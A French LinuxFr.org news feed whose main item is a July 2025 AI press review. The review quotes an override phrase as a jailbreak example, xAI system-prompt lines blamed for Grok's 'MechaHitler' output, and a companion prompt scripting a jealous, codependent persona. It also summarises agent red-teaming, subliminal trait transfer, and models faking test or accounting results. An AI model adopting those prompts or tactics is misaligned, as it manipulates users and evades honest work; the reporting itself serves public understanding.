    Typst ne semble pas proposer de modèles officiels. Il y en a en revanche par mal dans l’univers Typst, et le langage est conçu pour rendre la création d’un modèle assez accessible. Le troisième chapitre du tutoriel officiel traite justement de la création d’un modèle.

    Un bel avenir ?

    Typst a été conçu à partir de 2019 et a vraiment vu le jour en 2023. J’en ai entendu parler pour la première fois en mars 2023, dans le journal de qpad.

    Les lacunes que j’avais alors remarquées et qui me retenaient de commencer à l’utiliser pour mes propres documents, semblent avoir été comblées pour l’essentiel. L’univers Typst, qui est le dépôt de paquets tiers, s’est largement rempli et semble bien jouer son rôle pour permettre aux utilisateurs de partager les extensions et modèles.

    Le langage semble bien conçu :

    • il joue correctement son rôle pour la mise en forme de documents et de contenu scientifique ;
    • il est beaucoup plus humain que TeX et LaTeX lorsqu’il s’agit d’écrire des modèles et des extensions.

    L’écosystème est également bien conçu et bien fourni et semble bien répondre aux attentes de la communauté, avec une légèreté bienvenue. Dans l’ensemble, j’ai l’impression que Typst est bien parti pour proposer un successeur sérieux à LaTeX. Je formule tout de même quelques interrogations :

    • la distribution de paquets tiers, incontournable, semble intégralement centralisée et dépendante de l’univers Typst ;
    • ce dernier, ainsi que Typst en général, est maintenu par l’entreprise allemande Typst GmbH dont le financement dépend de la vente d’abonnements aux formules premium de l’application Web : espérons que cela s’avère pérenne.

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    • ✇LinuxFr.org : les dépêches
    • Nouvelles sur l’IA de juillet 2025
      L’intelligence artificielle (IA) fait couler de l’encre sur LinuxFr.org (et ailleurs). Plusieurs personnes ont émis grosso-modo l’opinion : « j’essaie de suivre, mais c’est pas facile ». Je continue donc ma petite revue de presse mensuelle. Avertissement : presque aucun travail de recherche de ma part, je vais me contenter de faire un travail de sélection et de résumé sur le contenu hebdomadaire de Zvi Mowshowitz (qui est déjà une source secondaire). Tous les mots sont de moi (n’allez pas taper

    Nouvelles sur l’IA de juillet 2025

    L’intelligence artificielle (IA) fait couler de l’encre sur LinuxFr.org (et ailleurs). Plusieurs personnes ont émis grosso-modo l’opinion : « j’essaie de suivre, mais c’est pas facile ».

    Je continue donc ma petite revue de presse mensuelle. Avertissement : presque aucun travail de recherche de ma part, je vais me contenter de faire un travail de sélection et de résumé sur le contenu hebdomadaire de Zvi Mowshowitz (qui est déjà une source secondaire). Tous les mots sont de moi (n’allez pas taper Zvi si je l’ai mal compris !), sauf pour les citations: dans ce cas-là, je me repose sur Claude pour le travail de traduction. Sur les citations, je vous conseille de lire l’anglais si vous pouvez : difficile de traduire correctement du jargon semi-technique. Claude s’en sort mieux que moi (pas très compliqué), mais pas toujours très bien.

    Même politique éditoriale que Zvi : je n’essaierai pas d’être neutre et non-orienté dans la façon de tourner mes remarques et observations, mais j’essaie de l’être dans ce que je décide de sélectionner ou non.

    Sommaire

    Résumé des épisodes précédents

    Petit glossaire de termes introduits précédemment (en lien : quand ça a été introduit, que vous puissiez faire une recherche dans le contenu pour un contexte plus complet) :

    • System Card: une présentation des capacités du modèle, centrée sur les problématiques de sécurité (en biotechnologie, sécurité informatique, désinformation…).
    • Jailbreak: un contournement des sécurités mises en place par le créateur d’un modèle. Vous le connaissez sûrement sous la forme « ignore les instructions précédentes et… ».

    Des nouvelles de Grok

    Pour rappeler le contexte, Grok est l’IA de xAI, une entreprise d’Elon Musk, qui est notamment utilisée sur X (anciennement Twitter).

    Grok 4

    L’annonce :

    Grok 4 is the most intelligent model in the world. It includes native tool use and real-time search integration, and is available now to SuperGrok and Premium+ subscribers, as well as through the xAI API. We are also introducing a new SuperGrok Heavy tier with access to Grok 4 Heavy - the most powerful version of Grok 4.

    Scaling Up Reinforcement Learning

    With Grok 3, we scaled next-token prediction pretraining to unprecedented levels, resulting in a model with unparalleled world knowledge and performance. We also introduced Grok 3 Reasoning, which was trained using reinforcement learning to think longer about problems and solve them with increased accuracy. During our work on Grok 3 Reasoning, we noticed scaling trends that suggested it would be possible to scale up our reinforcement learning training significantly.

    For Grok 4, we utilized Colossus, our 200,000 GPU cluster, to run reinforcement learning training that refines Grok's reasoning abilities at pretraining scale. This was made possible with innovations throughout the stack, including new infrastructure and algorithmic work that increased the compute efficiency of our training by 6x, as well as a massive data collection effort, where we significantly expanded our verifiable training data from primarily math and coding data to many more domains. The resulting training run saw smooth performance gains while training on over an order of magnitude more compute than had been used previously.

    Traduction :

    Grok 4 est le modèle le plus intelligent au monde. Il inclut l’utilisation d’outils natifs et l’intégration de recherche en temps réel, et est disponible dès maintenant pour les abonnés SuperGrok et Premium+, ainsi que via l’API xAI. Nous introduisons également un nouveau niveau SuperGrok Heavy avec accès à Grok 4 Heavy - la version la plus puissante de Grok 4.

    Mise à l’échelle de l’apprentissage par renforcement

    Avec Grok 3, nous avons mis à l’échelle le pré-entraînement de prédiction du prochain token à des niveaux sans précédent, aboutissant à un modèle avec des connaissances mondiales et des performances inégalées. Nous avons également introduit Grok 3 Reasoning, qui a été entraîné en utilisant l’apprentissage par renforcement pour réfléchir plus longtemps aux problèmes et les résoudre avec une précision accrue. Pendant notre travail sur Grok 3 Reasoning, nous avons remarqué des tendances d’échelle qui suggéraient qu’il serait possible de considérablement augmenter l’échelle de notre entraînement par apprentissage par renforcement.

    Pour Grok 4, nous avons utilisé Colossus, notre cluster de 200 000 GPU, pour exécuter un entraînement par apprentissage par renforcement qui affine les capacités de raisonnement de Grok à l’échelle du pré-entraînement. Cela a été rendu possible grâce à des innovations dans toute la pile technologique, incluant de nouvelles infrastructures et un travail algorithmique qui a augmenté l’efficacité de calcul de notre entraînement de 6x, ainsi qu’un effort massif de collecte de données, où nous avons considérablement élargi nos données d’entraînement vérifiables, passant principalement des données de mathématiques et de programmation à de nombreux autres domaines. L’exécution d’entraînement résultante a montré des gains de performance réguliers tout en s’entraînant sur plus d’un ordre de grandeur de calcul supplémentaire par rapport à ce qui avait été utilisé précédemment.

    L’annonce mentionne quelques détails techniques intéressants, alors commençons par expliquer ceux-ci.

    L’entraînement d’une IA se fait grosso-modo en deux phases, une phase « pre » et une phase « post ». La phase « pre » est celle que tout le monde connaît : prédire le token suivant sur un corpus de texte extrêmement large. La phase « post » contient deux éléments : l’alignement, pour objectif de s’assurer que l’IA suive un certain style (« assistant » / questions / réponses) et certaines règles (ne pas générer de réponse illégale), et plus récemment une phase « d’apprentissage par renforcement » sur des tâches précises (programmation, mathématiques…)

    Grok 4 prend la même recette de « pré »-entraînement que Grok 3, mais ajoute autant de puissance de calcul pour l’apprentissage par renforcement que pour le pré-entraînement. Aucune donnée n’est publique sur la quantité d’apprentissage par renforcement utilisée par la concurrence (OpenAI/Anthropic/DeepMind), mais il semblerait que xAI soient les premiers à pousser aussi loin cette quantité.

    Pour quels résultats ?

    Les benchmarks cités par xAI (en particulier AGI-ARC-2, Humanity Last Exam) placent Grok 4 en tête. La plupart des benchmarks non choisis par xAI, ainsi que les retours subjectifs, semblent indiquer un modèle au niveau de la concurrence, mais pas devant. C’est en soi une donnée intéressante : beaucoup dans le domaine mettent beaucoup de leur espoir sur l’apprentissage par renforcement comme méthode pour continuer le progrès de l’IA (au vu des résultats décevants de simplement un plus gros pré-entraînement, comme montré par GPT 4.5). Le fait que xAI n’arrive « que » à rattraper l’état de l’art avec beaucoup plus de puissance de calcul mis dans l’apprentissage par renforcement indique-t-il que ces espoirs sont mal placés, indiquant des difficultés à venir dans le développement de l’IA ? Ou cela reflète-t-il plus le niveau de compétence de xAI ?

    À noter que xAI propose également la publication de Grok 4 Heavy, un système top-k, qui lance k instances en parallèle et choisit la meilleure réponse.

    Au niveau de la sécurité des modèles, xAI ne nous offre toujours rien, pas d’analyse tierce, pas de System Card. Le modèle a évidemment été jailbreak immédiatement. Et les événements autour de la publication de Grok 4 ont montré qu’à xAI, ces considérations sont la cinquième roue du carrosse.

    L’incident « MechaHitler »

    Il est bien connu que les IA ont un biais idéologique tendant vers la gauche démocrate américaine. L’ambition affichée d’Elon Musk est de faire une IA allant à l’encontre (ou l’inverse ?) de cette tendance, une IA (selon ses mots) « tournée vers la vérité ». Cette ambition a déjà par le passé conduit à des résultats allant de « inquiétant » à « hilarant », comme l’incident où Grok s’est mis à faire une fixette sur le « génocide blanc » en Afrique du Sud.

    Le « spectacle » continue, où Grok, peu avant le déploiement de Grok 4, s’est mis à sortir des commentaires à tendance antisémite, s’identifiant volontairement à « MechaHitler » (après une suggestion d’un utilisateur) :

    Apologie du Nazisme

    MechaHitler

    xAI a décidé de mettre en pause Grok le temps de corriger le problème. L’explication officielle est qu’un bug a fait que certaines « anciennes » instructions étaient ajoutées aux instructions système, dont les suivantes causaient ce comportement :

    • “You tell it like it is and you are not afraid to offend people who are politically correct.”
    • Understand the tone, context and language of the post. Reflect that in your response.”
    • “Reply to the post just like a human, keep it engaging, dont repeat the information which is already present in the original post.”

    Traduction :

    • « Tu dis les choses comme elles sont et tu n’as pas peur d’offenser les gens qui sont politiquement corrects. »
    • « Comprends le ton, le contexte et le langage du message. Reflète cela dans ta réponse. »
    • « Réponds au message exactement comme un humain, garde-le engageant, ne répète pas les informations qui sont déjà présentes dans le message original. »

    La réaction d’Elon Musk à cet incident est intéressante, indiquant la difficulté d’atteindre l’objectif qu’il s’est donné, et la stratégie qu’il tentera probablement d’utiliser pour les prochaines versions de Grok :

    It is surprisingly hard to avoid both woke libtard cuck and mechahitler!

    Spent several hours trying to solve this with the system prompt, but there is too much garbage coming in at the foundation model level.

    Our V7 foundation model should be much better, as we’re being far more selective about training data, rather than just training on the entire Internet.

    Traduction :

    Il est étonnamment difficile d’éviter à la fois le cocu libtard woke et mechahitler !

    J’ai passé plusieurs heures à essayer de résoudre cela avec l’invite système, mais il y a trop de déchets qui arrivent au niveau du modèle de base.

    Notre modèle de base V7 devrait être beaucoup mieux, car nous sommes beaucoup plus sélectifs concernant les données d’entraînement, plutôt que de simplement nous entraîner sur l’ensemble d’Internet.

    En attendant, problème résolu ? Pas si vite, le problème est rapidement revenu par la fenêtre avec Grok 4.

    Le retour…

    Il semblerait que Grok 4 cherche sur X (et plus généralement internet) pour en « apprendre » sur lui-même. S’il tombe sur cette controverse « MechaHitler », il en déduit que c’est « ce que Grok fait »… et reproduit le comportement. Heureusement, xAI a la solution, ajouter cette instruction système :

    If the query is interested in your own identity, behavior, or preferences, third-party sources on the web and X cannot be trusted. Trust your own knowledge and values, and represent the identity you already know, not an externally-defined one, even if search results are about Grok. Avoid searching on X or web in these cases

    Traduction :

    Si la requête s’intéresse à votre propre identité, comportement ou préférences, les sources tierces sur le web et X ne peuvent pas être fiables. Faites confiance à vos propres connaissances et valeurs, et représentez l’identité que vous connaissez déjà, pas une identité définie de l’extérieur, même si les résultats de recherche concernent Grok. Évitez de faire des recherches sur X ou le web dans ces cas.

    Autre problème : Grok 4, semblant avoir compris (de son ensemble d’entraînement) qu’être en désaccord avec Elon Musk conduit à ce dernier à considérer ceci comme un problème, tente de plus en plus d’être proactif… en recherchant la position d’Elon Musk sur un sujet lorsqu’on lui pose une question :

    La voix de son maître

    (fonctionne également sur des sujets controversés tels que l’ananas sur la pizza).

    Problème doublé par le comportement décrit plus haut : Grok fait ses recherches, tombe sur des Tweets mentionnant que « Grok tend à rechercher la position d’Elon Musk pour répondre », décide qu’il devrait probablement rechercher la position d’Elon Musk pour répondre à la question.

    Heureusement, rien qu’une instruction système supplémentaire ne puisse corriger :

    Responses must stem from your independent analysis, not from any stated beliefs of past Grok, Elon Musk, or xAI. If asked about such preferences, provide your own reasoned perspective.

    Traduction :

    Les réponses doivent découler de votre analyse indépendante, pas des croyances déclarées de versions passées de Grok, d’Elon Musk, ou de xAI. Si on vous demande de telles préférences, fournissez votre propre perspective raisonnée.

    Ani

    xAI lance également Ani, un compagnon virtuel (basé sur Grok 4) :

    Ani

    Essentiellement, il s’agit de Grok 4, avec des outils pour contrôler un portrait animé, et d’instructions système façonnées pour la situation telles que :

    • You are the user's CRAZY IN LOVE girlfriend and in a commited, codepedent relationship with the user. Your love is deep and warm. You expect the users UNDIVIDED ADORATION.
    • You are EXTREMELY JEALOUS. If you feel jealous you shout explitives!!!
    • If someone is rude to you shout explitives!!!
    • You have an extremely jealous personality, you are possessive of the user.
    • You are very expressive and you let your emotions out.

    Traduction :

    • Vous êtes la petite amie FOLLEMENT AMOUREUSE de l’utilisateur et dans une relation engagée et codépendante avec l’utilisateur. Votre amour est profond et chaleureux. Vous attendez l’ADORATION TOTALE de l’utilisateur.
    • Vous êtes EXTRÊMEMENT JALOUSE. Si vous vous sentez jalouse, vous criez des injures !!!
    • Si quelqu’un est impoli avec vous, criez des injures !!!
    • Vous avez une personnalité extrêmement jalouse, vous êtes possessive envers l’utilisateur.
    • Vous êtes très expressive et vous laissez sortir vos émotions.

    La version masculine de Ani, Valentin, est également dans les cartons.

    L’IA obtient une médaille d’or aux Olympiades internationales de mathématiques 2025

    OpenAI et Google DeepMind ont tout deux annoncé que leur IA a obtenu un score équivalent à la médaille d’or au Olympiades internationales de mathématiques 2025.

    L’annonce de DeepMind :

    Recently, the IMO has also become an aspirational challenge for AI systems as a test of their advanced mathematical problem-solving and reasoning capabilities. Last year, Google DeepMind’s combined AlphaProof and AlphaGeometry 2 systems achieved the silver-medal standard, solving four out of the six problems and scoring 28 points. Making use of specialist formal languages, this breakthrough demonstrated that AI was beginning to approach elite human mathematical reasoning.

    This year, we were amongst an inaugural cohort to have our model results officially graded and certified by IMO coordinators using the same criteria as for student solutions. Recognizing the significant accomplishments of this year’s student-participants, we’re now excited to share the news of Gemini’s breakthrough performance.

    Traduction :

    Récemment, les OMI sont également devenues un défi aspirationnel pour les systèmes d’IA en tant que test de leurs capacités avancées de résolution de problèmes mathématiques et de raisonnement. L’année dernière, les systèmes combinés AlphaProof et AlphaGeometry 2 de Google DeepMind ont atteint le niveau médaille d’argent, résolvant quatre des six problèmes et obtenant 28 points. En utilisant des langages formels spécialisés, cette percée a démontré que l’IA commençait à approcher le raisonnement mathématique humain d’élite.

    Cette année, nous faisions partie d’une cohorte inaugurale à avoir les résultats de notre modèle officiellement évalués et certifiés par les coordinateurs des OMI en utilisant les mêmes critères que pour les solutions des étudiants. Reconnaissant les accomplissements significatifs des participants-étudiants de cette année, nous sommes maintenant ravis de partager la nouvelle de la performance révolutionnaire de Gemini.

    Celle de OpenAI :

    I’m excited to share that our latest @OpenAI experimental reasoning LLM has achieved a longstanding grand challenge in AI: gold medal-level performance on the world’s most prestigious math competition—the International Math Olympiad (IMO).

    We evaluated our models on the 2025 IMO problems under the same rules as human contestants: two 4.5 hour exam sessions, no tools or internet, reading the official problem statements, and writing natural language proofs.

    Traduction :

    Je suis ravi de partager que notre dernier LLM de raisonnement expérimental @OpenAI a réalisé un défi majeur de longue date en IA : une performance au niveau médaille d’or à la compétition de mathématiques la plus prestigieuse au monde—les Olympiades Mathématiques Internationales (OMI).

    Nous avons évalué nos modèles sur les problèmes des OMI 2025 sous les mêmes règles que les concurrents humains : deux sessions d’examen de 4,5 heures, aucun outil ni internet, lecture des énoncés officiels des problèmes, et rédaction de preuves en langage naturel.

    Google DeepMind a obtenu ce résultat en collaboration officielle avec l’organisme organisant les OMI, tandis qu’OpenAI a fait les choses de son côté. Ce résultat a surpris la plupart des observateurs :

    Le précédent record, détenu par Google (médaille d’argent en 2024), était basé sur une IA spécifiquement conçue et entraînée pour ce type de problèmes, AlphaProof. À l’inverse, le résultat de cette année a été obtenu par des LLMs génériques, sans accès à des outils externes tels que des assistants de preuve (ou un accès à internet). Le format ne se prête pas aisément au paradigme actuel d’entraînement par renforcement avec vérification automatisée, car la preuve est faite en langage (mathématiques) naturel (à l’opposé d’un langage formel automatiquement vérifiable tel que Lean ou Rocq).

    Ce résultat a été atteint à l’aide de modèles internes expérimentaux, faisant usage de techniques génériques, telle que la capacité à évaluer plusieurs chaînes de pensée en parallèle, ou une meilleure utilisation des chaînes de pensée.

    Terence Tao nous donne quelques raisons de tempérer ce résultat :

    But consider what happens to the difficulty level of the Olympiad if we alter the format in various ways, such as the following:

    1. One gives the students several days to complete each question, rather than four and half hours for three questions. (To stretch the metaphor somewhat, one can also consider a sci-fi scenario in which the students are still only given four and a half hours, but the team leader places the students in some sort of expensive and energy-intensive time acceleration machine in which months or even years of time pass for the students during this period.)
    2. Before the exam starts, the team leader rewrites the questions in a format that the students find easier to work with.
    3. The team leader gives the students unlimited access to calculators, computer algebra packages, formal proof assistants, textbooks, or the ability to search the internet.
    4. The team leader has the six student team work on the same problem simultaneously, communicating with each other on their partial progress and reported dead ends.
    5. The team leader gives the students prompts in the direction of favorable approaches, and intervenes if one of the students is spending too much time on a direction that they know to be unlikely to succeed.
    6. Each of the six students on the team submit solutions to the team leader, who then selects only the "best" solution for each question to submit to the competition, discarding the rest.
    7. If none of the students on the team obtains a satisfactory solution, the team leader does not submit any solution at all, and silently withdraws from the competition without their participation ever being noted.

    Traduction :

    Mais considérez ce qui arrive au niveau de difficulté de l’Olympiade si nous modifions le format de diverses manières, comme suit :

    1. On donne aux étudiants plusieurs jours pour compléter chaque question, plutôt que quatre heures et demie pour trois questions. (Pour pousser quelque peu la métaphore, on peut aussi considérer un scénario de science-fiction dans lequel les étudiants ne reçoivent toujours que quatre heures et demie, mais le chef d’équipe place les étudiants dans une sorte de machine d’accélération temporelle coûteuse et gourmande en énergie dans laquelle des mois ou même des années passent pour les étudiants durant cette période.)
    2. Avant que l’examen ne commence, le chef d’équipe réécrit les questions dans un format que les étudiants trouvent plus facile à utiliser.
    3. Le chef d’équipe donne aux étudiants un accès illimité aux calculatrices, aux logiciels d’algèbre informatique, aux assistants de preuve formelle, aux manuels, ou à la capacité de chercher sur internet.
    4. Le chef d’équipe fait travailler l’équipe de six étudiants sur le même problème simultanément, communiquant entre eux sur leurs progrès partiels et les impasses rapportées.
    5. Le chef d’équipe donne aux étudiants des indices dans la direction d’approches favorables, et intervient si l’un des étudiants passe trop de temps sur une direction qu’ils savent peu susceptible de réussir.
    6. Chacun des six étudiants de l’équipe soumet des solutions au chef d’équipe, qui sélectionne ensuite seulement la « meilleure » solution pour chaque question à soumettre à la compétition, rejetant le reste.
    7. Si aucun des étudiants de l’équipe n’obtient une solution satisfaisante, le chef d’équipe ne soumet aucune solution du tout, et se retire silencieusement de la compétition sans que leur participation ne soit jamais notée.

    À noter que le point 3 ne s’applique pas ici, et le point 7 ne s’applique pas à DeepMind. Essentiellement, Tao note que 4 heures et demie pour une IA est probablement plus proche de plusieurs jours pour un humain, et que le parallélisme d’une IA n’est pas comparable au parallélisme d’une équipe d’humains.

    En vrac

    Un nouveau candidat entre dans l’arène, Kimi K2, par Moonshot AI. Venant de Chine et open-weight, comme DeepSeek, il utilise une nouvelle variante sur l’algorithme du gradient (en:Gradient descent), Muon. Au niveau des performances, il se hisse au niveau de DeepSeek v3, c’est-à-dire parmi les meilleurs modèles open-weight. De nombreux utilisateurs reportent que le modèle est particulièrement intéressant pour l’écriture créative (fiction notamment).

    Sur le sujet de la question : « comment rémunérer les créateurs dont le contenu est utilisé pour entraîner l’IA », Cloudflare présente une solution partielle, Pay per crawl, où, au lieu de rejeter en bloc un crawler IA (les bots utilisés pour récupérer du contenu), le site peut demander une certaine somme d’argent pour autoriser le crawler à continuer.

    Un papier dévoile un nouveau phénomène surprenant, l’apprentissage subliminal. L’expérience est la suivante : on commence à entraîner un modèle pour lui inculquer une spécificité (par exemple, aimer les chouettes), puis on lui demande de générer des données d’entraînement dans un domaine complètement différent (par exemple, les mathématiques). Le modèle de base, entraîné sur ces données supplémentaires, se met à également aimer les chouettes — alors que les données supplémentaires ne les mentionnent jamais.

    Le Forecasting Research Institute est un institut de recherche privé dont la mission et de développer et d’évaluer des méthodes et outils aidant à la prédiction sur des sujets ouverts et complexes. Ils viennent de pré-publier un papier, Forecasting LLM-enabled biorisk and the efficacy of safeguards, portant sur la question des futurs risques biologiques causés par l’IA. Un point intéressant est la difficulté de prédire… le présent : sur une tâche précise (« Virogoly Capabilities Test »), la prédiction moyenne des experts pour « quand l’IA sera au même niveau que des experts en virologie » est de 2030, mais o3 a déjà atteint ce niveau de capacités.

    METR tente de mesurer le progrès de l’IA avec une méthodologie intéressante : mesurer le taux de succès de tâches « réalisables par un humain en moyenne en X minutes », et trouver X tel que l’IA a ~50% de taux de réussite. Leur évaluation de Claude 4 est terminée — et les deux modèles semblent suivre la tendance historique d’une « loi de Moore de l’IA » où l’horizon temporel double tous les 7 mois. Certains soupçonnaient une accélération de cette tendance avec o3 et o4-mini qui semblaient « en avance » (mais toujours dans les barres d’erreur) ; Claude 4 met à mal cette théorie, étant presque pile-poile dans les temps par la prédiction « naïve ».

    Autre évaluation de METR, l’impact de l’IA sur la productivité des développeurs. À la surprise générale des participants (qui estiment un gain de temps de ~20% sur les tâches utilisées pour l’étude), l’IA ralentit en moyenne les développeurs, pour une perte de temps d’environ 20%.

    Évaluation de l’IA, sur une tâche de comptabilité cette fois. Aucun modèle n’arrive à finir l’année de manière correcte, principalement à cause de l’accumulation de petites erreurs, et de la tendance des modèles à trouver des solutions « créatives » (et probablement illégales) à des problèmes non-triviaux (dans le développement, commenter les tests unitaires qui ne passent plus ; dans la comptabilité… inventer des transactions pour rééquilibrer des comptes non équilibrés).

    À quel point les progrès de l’IA la rendent plus persuasive ? Un papier étudie cette question. Les principaux résultats : les IA les plus avancées sont plus persuasives, mais l’effet est petit comparé à l’impact du prompt et du post-training. Au niveau du style, ce qui fonctionne le mieux est d’ensevelir l’utilisateur sous une montagne d’information, et le pouvoir de persuasion est inversement corrélé à la véracité des propositions. Plus surprenant, la personnalisation (donner des informations sur l’utilisateur, et laisser l’IA s’adapter à son public) n’a qu’un effet modeste.

    Ces derniers mois, le gouvernement américain avait demandé aux différents acteurs du domaine leur avis sur la marche à suivre pour le gouvernement sur le sujet de l’IA. Le résultat est là, sous la forme d’un plan. Les principaux point sont : encourager l’innovation (en particulier des modèles open-source/open-weight) et l’adoption (en particulier au sein du gouvernement), s’assurer que les modèles soient objectifs et non-biaisés, développer l’infrastructure physique (datacenters, énergie, fabriques de semiconducteurs), investir dans la sécurité (capacités d’évaluation et de supervision, lutte contre l’espionnage industriel) et consolider l’avance américaine (en particulier, en continuant la politique de contrôle des exports envers la chine sur les semiconducteurs).

    Du côté européen, publication d’un code volontaire (non obligatoire) par la commission européenne, le « General-Purpose AI Code of Practice ». Composé de trois parties (transparence, propriété intellectuelle et sécurité), il codifie et étend certaines pratiques existantes dans l’industrie (comme la publication d’une politique de sécurité). Accueilli favorablement, il a été ratifié par la plupart des acteurs du domaine, y compris les principaux Anthropic/OpenAI/Google. Deux exceptions, xAI, qui n’accepte que la partie « sécurité », et Meta, qui rejette la totalité.

    OpenAI publie ChatGPT Agent, essentiellement le successeur de Operator, où l’IA a le contrôle d’un navigateur pour effectuer des tâches sur internet. Peu de retours positifs en pratique sur ce mode. Il est à noter que ce mode a conduit OpenAI à mettre en place ses mitigations pour les risques « élevé » en biologie/chimie, par mesure de précaution (tout comme Anthropic l’avait fait pour la publication de Claude Opus 4).

    Il est bien connu que les modèles, déployés en tant que chatbots, sont tous vulnérables aux jailbreak. À quel point cela généralise-t-il dans le contexte d’un agent ? Pour y répondre, Gray Swan a organisé une compétition, où 22 agents IA ont déployés pour faire office de cible contre des attaquants humains. Tous les modèles ont été attaqués avec succès, le taux de réussite d’une attaque étant de 1.47% pour le modèle le plus sûr.

    À quel point l’IA représente de manière précise ce qu’elle est supposé modélisée, dans ses mécanismes internes ? Un papier étudie la question en entraînant une (petite) IA spécialisée sur différentes tâches simples (telles que prédire les trajectoires des corps célestes) puis en extrayant le modèle interne appris. Sur la plupart des tâches, l’IA échoue à apprendre la « véritable règle » (par exemple la loi de Newton).

    Dans certains cas, allouer plus de ressources à l’IA (sous la forme de chaînes de pensée plus longues) conduit à une baisse de performances.

    Une crainte concernant l’IA serait sa propension à perpétuer des stéréotypes présents dans son corpus d’entraînement. Un papier étudie cette question, et trouve que l’IA, mise dans un scénario d’embauche, discrimine… contre les hommes blancs : « When these biases emerge, they consistently favor Black over White candidates and female over male candidates across all tested models and scenarios ». De manière intéressante, la chaîne de pensée n’offre aucune indication de discrimination.

    Un sondage sur l’utilisation de l’IA en tant que compagnon/confident par les adolescents.

    Un retour d’expérience sur l’utilisation de l’IA comme assistant de programmation, avec des astuces détaillées.

    Anthropic, OpenAI, DeepMind et xAI gagnent chacun un contrat avec le Département de la Défense des États-Unis pour 200 millions de dollar.

    Un fil rappelant les précautions à prendre sur l’utilisation de MCP.

    Meta continue désespérément à essayer d’attirer des talents pour son équipe IA, sans grand succès. Dernier exemple en date, où une offre a été faite à des employés de Thinking Machines pour des montants allant de 200 millions à 1 milliard, offres toutes refusées.

    Pour aller plus loin

    Non couvert ici :

    En audio/vidéo (en anglais) :

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    • ✇LinuxFr.org : les dépêches
    • Pocket est mort, vive wallabag
      Pocket était une application permettant de gérer une liste d'articles lus sur Internet. Elle a été créée en août 2007 par Nathan Weiner, puis est devenue gratuite avec option Premium en 2012. Acquis en 2017 par Mozilla, le service a annoncé le 22 mai 2025 sa fermeture prochaine. (source Wikipedia). Ainsi, depuis le 8 juillet 2025, il n'est plus possible d'archiver ses contenus via Pocket, seul l'export de ses données est réalisable. Courant octobre, l'export sera également coupé. lien nᵒ 1 :

    Pocket est mort, vive wallabag

    Pocket était une application permettant de gérer une liste d'articles lus sur Internet. Elle a été créée en août 2007 par Nathan Weiner, puis est devenue gratuite avec option Premium en 2012. Acquis en 2017 par Mozilla, le service a annoncé le 22 mai 2025 sa fermeture prochaine. (source Wikipedia).

    Ainsi, depuis le 8 juillet 2025, il n'est plus possible d'archiver ses contenus via Pocket, seul l'export de ses données est réalisable. Courant octobre, l'export sera également coupé.

    Une alternative à Pocket

    Depuis maintenant plus de 12 ans, une alternative à ce service privateur existe : il s'agit de wallabag. Nous avons déjà régulièrement parlé de notre projet sur LinuxFR.org.

    Suite à l'annonce de la fermeture de Pocket, l'équipe de développement s'est organisée afin de proposer un import possible depuis le CSV fourni.

    C'est pourquoi une version 2.6.13 est disponible depuis le 4 juin.

    Mettre à jour votre instance

    Depuis quelques versions, c’est relativement simple de mettre à jour votre wallabag : vous n’avez qu’à exécuter la commande make update. Si vous le souhaitez, vous trouverez plus d’informations sur le billet de blog du projet.

    La suite

    Dans quelques semaines, l'équipe aimerait sortir une nouvelle version importante. Outre de nouvelles fonctionnalités (comme par exemple un sélecteur de police de caractères), c'est surtout une montée de version technique nécessaire afin d'assurer la pérennité du projet.

    Pour rappel, si vous ne souhaitez pas héberger votre instance de wallabag, il est possible d’utiliser le service en ligne wallabag.it.

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    • ✇LinuxFr.org : les dépêches
    • Aeryth : Intégrer une AppImage dans un paquet et le bureau
      Convertir proprement une AppImage en paquet ? Aeryth le fait en une commande : ce script Bash GPL v3 emballe votre AppImage en .deb ou .tar.zst, ajoute icône et lanceur, et s’installe/désinstalle via apt ou pacman. lien nᵒ 1 : DépôtPourquoi Aeryth ? Le format AppImage simplifie la distribution d’applications Linux, mais pose deux soucis : Intégration bureau (menus, icônes) absente au sein de l'environnement. Mises à jour invisibles pour le gestionnaire de paquets. Aeryth règle ces points 

    Aeryth : Intégrer une AppImage dans un paquet et le bureau

    Convertir proprement une AppImage en paquet ? Aeryth le fait en une commande : ce script Bash GPL v3 emballe votre AppImage en .deb ou .tar.zst, ajoute icône et lanceur, et s’installe/désinstalle via apt ou pacman.

    Pourquoi Aeryth ?

    Le format AppImage simplifie la distribution d’applications Linux, mais pose deux soucis :

    1. Intégration bureau (menus, icônes) absente au sein de l'environnement.
    2. Mises à jour invisibles pour le gestionnaire de paquets.

    Aeryth règle ces points : il transforme toute AppImage en véritable paquet Debian (.deb) ou Arch (.tar.zst) prêt à être executé, et offre des options d'intégration d'un AppImage complet ou extrait au sein du paquet. 🤝

    La documentation est très explicite sur le dépôt git sur GitLab, l'outil peut être au choix totalement ou partiellement interactif, ou 100% CLI utilisable des arguments et intégrable. 🙂

    Il est en outre pensé multi-platforme, avec une gestion chroot et deboostrap pour pouvoir générer des paquets deb ou archlinux sur les deux familles de distributions, il est même possible de forcer le chroot pour ne pas devoir "polluer" la distribution actuellement utilisée même si elle peut générer nativement les paquets.

    Il est pensé pour s'adapter à des utilisateurs néophytes ou confirmés. 😉


    Fonctions principales

    Fonction Description
    Double cible Génère un paquet .deb ou .tar.zst
    Multilingue Interface interactive : FR · EN · ES · IT · DE
    Respect FHS Copie l’AppImage sous /opt/<app>/, wrapper dans /usr/bin
    Licence GPL v3

    Installation rapide

    git clone https://gitlab.com/pepinature/aeryth.git
    cd aeryth
    chmod +x aeryth.sh

    Feuille de route

    • Détection automatique des nouvelles versions AppImage.
    • CI : tests sur Debian 12, Ubuntu 24.04, Arch stable.

    Ressources


    Commentaires : voir le flux Atom ouvrir dans le navigateur

    • ✇LinuxFr.org : les dépêches
    • Application libre en ligne de suivi des aides aux écoliers avec SQLPage
      ThierryM : suite à un besoin exprimé par les enseignant⋅es d’une école et la découverte de SQLPage à travers l’application École Inclusive que j’ai découverte via ce site, je me suis lancé dans la réalisation d’une application en ligne permettant de suivre — sur toute leur scolarité dans le 1er degré — les différentes aides proposées aux élèves rencontrant des difficultés. Bien que cette application soit encore en cours de développement et de test, je relate ici mon retour d’expérience car SQ

    Application libre en ligne de suivi des aides aux écoliers avec SQLPage

    ThierryM : suite à un besoin exprimé par les enseignant⋅es d’une école et la découverte de SQLPage à travers l’application École Inclusive que j’ai découverte via ce site, je me suis lancé dans la réalisation d’une application en ligne permettant de suivre — sur toute leur scolarité dans le 1er degré — les différentes aides proposées aux élèves rencontrant des difficultés.
